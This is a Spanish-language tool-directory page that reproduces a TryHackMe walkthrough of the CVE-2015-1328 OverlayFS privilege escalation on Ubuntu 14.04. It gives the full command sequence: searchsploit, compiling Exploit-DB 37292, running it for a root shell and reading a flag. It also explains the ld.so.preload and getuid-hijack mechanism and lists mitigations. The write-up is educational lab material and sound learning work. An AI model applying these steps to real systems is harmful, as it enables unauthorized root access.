Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2015-1328 — Guía paso a paso para explotar CVE-2015-1328 (OverlayFS) y escalar privilegios de un usuario con bajos privilegios a root en Ubuntu 14.04. Incluye enumeración, compilación del exploit y ejecución. | Kitploit
Herramientas/GitHubGitHub/fernandocassiodev/cve-2015-1328
Escalada de PrivilegiosExplotaciónCTFAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Guía paso a paso para explotar CVE-2015-1328 (OverlayFS) y escalar privilegios de un usuario con bajos privilegios a root en Ubuntu 14.04. Incluye enumeración, compilación del exploit y ejecución.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
2hace 1 mesAún no revisado

CVE-2015-1328

TryHackMe Walkthrough – Escalada de privilegios en el kernel de Linux (CVE-2015-1328)

Objetivo

El objetivo de este walkthrough era escalar privilegios de un usuario con pocos privilegios (karen) a root explotando un kernel de Linux vulnerable.


Paso 1 – Enumeración inicial

Después de conectarme a la máquina objetivo por SSH:

root@kitploit:~
ssh karen@<target-ip>

Identifiqué la versión del kernel de Linux:

root@kitploit:~
uname -r

Salida:

root@kitploit:~
3.13.0-24-generic

La máquina ejecutaba Ubuntu 14.04 con el kernel 3.13.0-24-generic.


Paso 2 – Búsqueda de vulnerabilidades del kernel

Dado que la escalada de privilegios en Linux a menudo depende de kernels vulnerables, busqué en Exploit-DB usando SearchSploit:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

Resultado:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

Este exploit tiene como objetivo CVE-2015-1328, que afecta a los kernels de Ubuntu anteriores a las versiones parcheadas.


Paso 3 – Comprender la vulnerabilidad

Antes de ejecutar cualquier exploit, es importante entender qué hace.

El exploit abusa de una falla en OverlayFS, el sistema de archivos union de Linux.

La vulnerabilidad existe porque OverlayFS maneja incorrectamente los permisos de archivo cuando se monta dentro de un espacio de nombres de usuario (CLONE_NEWUSER).

Un usuario sin privilegios puede manipular OverlayFS para crear o modificar archivos que solo deberían poder ser escritos por root.

El exploit finalmente escribe en:

root@kitploit:~
/etc/ld.so.preload

Este archivo le indica al cargador dinámico de Linux que cargue una librería compartida antes de cada ejecutable vinculado dinámicamente.

Al forzar al sistema a cargar una librería compartida maliciosa, el exploit obtiene ejecución de código como root.


Paso 4 – Obtener el exploit

Usando SearchSploit:

root@kitploit:~
searchsploit -m 37292

Esto copió el exploit localmente:

root@kitploit:~
37292.c

Luego, el exploit se transfirió a la máquina víctima.

En este walkthrough, se guardó como:

root@kitploit:~
/tmp/ofs.c

Paso 5 – Compilar el exploit

Navega al directorio que contiene el exploit:

root@kitploit:~
cd /tmp

Compílalo usando GCC:

root@kitploit:~
gcc ofs.c -o ofs

Si la compilación tiene éxito, GCC no produce ninguna salida.

Verifica que el ejecutable exista:

root@kitploit:~
ls -l

Esperado:

root@kitploit:~
-rwxr-xr-x ... ofs

Paso 6 – Ejecutar el exploit

Ejecuta el ejecutable:

root@kitploit:~
./ofs

El exploit imprime mensajes similares a:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Finalmente, genera una shell root:

root@kitploit:~
#

Verifica los privilegios:

root@kitploit:~
id

Salida:

root@kitploit:~
uid=0(root) gid=0(root)

Paso 7 – Obtener la flag

Con los privilegios root obtenidos:

root@kitploit:~
cat /home/matt/flag1.txt

Ahora el archivo pudo leerse correctamente.


Cómo funciona el exploit

El exploit realiza varias acciones internamente.

1. Crea un espacio de nombres de usuario

root@kitploit:~
unshare(CLONE_NEWUSER);

Los espacios de nombres de usuario de Linux permiten que un proceso sin privilegios aparente ser root dentro del espacio de nombres, sin ser root en el host.

Esta capacidad es esencial para el ataque.


2. Crea un espacio de nombres de montaje

root@kitploit:~
clone(... CLONE_NEWNS ...)

Un espacio de nombres de montaje separado aísla los cambios del sistema de archivos del resto del sistema operativo.

Esto permite que el exploit monte OverlayFS sin afectar el sistema de archivos global.


3. Monta OverlayFS

El exploit crea directorios temporales:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

Luego monta OverlayFS:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

Debido a la vulnerabilidad del kernel, OverlayFS permite incorrectamente operaciones que deberían requerir privilegios de root.


4. Crea /etc/ld.so.preload

El exploit renombra un archivo escribible dentro del montaje de OverlayFS a:

root@kitploit:~
ld.so.preload

Después de remontar OverlayFS sobre /etc, este archivo se convierte en:

root@kitploit:~
/etc/ld.so.preload

Normalmente, solo root debería poder crear este archivo.


5. Construye una librería compartida maliciosa

El exploit escribe un archivo fuente en C:

root@kitploit:~
/tmp/ofs-lib.c

Luego lo compila:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

La librería compartida resultante sobrescribe la función getuid().


6. Secuestra el enlazador dinámico

El exploit escribe:

root@kitploit:~
/tmp/ofs-lib.so

en:

root@kitploit:~
/etc/ld.so.preload

Ahora, cada ejecutable vinculado dinámicamente carga esta librería maliciosa antes que cualquier librería del sistema.


7. Ejecuta /bin/su

Finalmente:

root@kitploit:~
execl("/bin/su", "su", NULL);

Cuando su se inicia, la función maliciosa getuid() se ejecuta en lugar de la original.

La librería:

  • elimina /etc/ld.so.preload
  • borra la librería compartida maliciosa
  • llama:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • lanza:
root@kitploit:~
/bin/sh

El resultado es una shell root interactiva.


Por qué funciona

La vulnerabilidad se debe a un manejo incorrecto de permisos en OverlayFS cuando se usa dentro de espacios de nombres de usuario.

Un usuario sin privilegios puede manipular OverlayFS para crear archivos privilegiados como:

root@kitploit:~
/etc/ld.so.preload

Dado que el cargador dinámico confía en este archivo, se ejecuta código arbitrario como root.


Mitigación

Esta vulnerabilidad fue parcheada por Ubuntu en versiones actualizadas del kernel.

Las estrategias de mitigación incluyen:

  • Actualizar el kernel de Linux a una versión parcheada.
  • Deshabilitar los espacios de nombres de usuario sin privilegios cuando no sean necesarios.
  • Restringir el uso de OverlayFS.
  • Aplicar actualizaciones de seguridad periódicamente.
  • Supervisar modificaciones no autorizadas en:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

Conclusiones clave

  • Siempre enumera la versión del kernel durante la escalada de privilegios en Linux.
  • Verifica si la versión del kernel es vulnerable antes de intentar la explotación.
  • Lee y entiende el código del exploit antes de ejecutarlo.
  • Los exploits de kernel pueden conducir directamente a privilegios root, pero también pueden provocar un bloqueo del sistema objetivo.
  • En pruebas de penetración reales, la explotación del kernel solo debe intentarse cuando se está explícitamente autorizado, debido al impacto potencial en la estabilidad del sistema.

Comandos utilizados

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
Descargar herramienta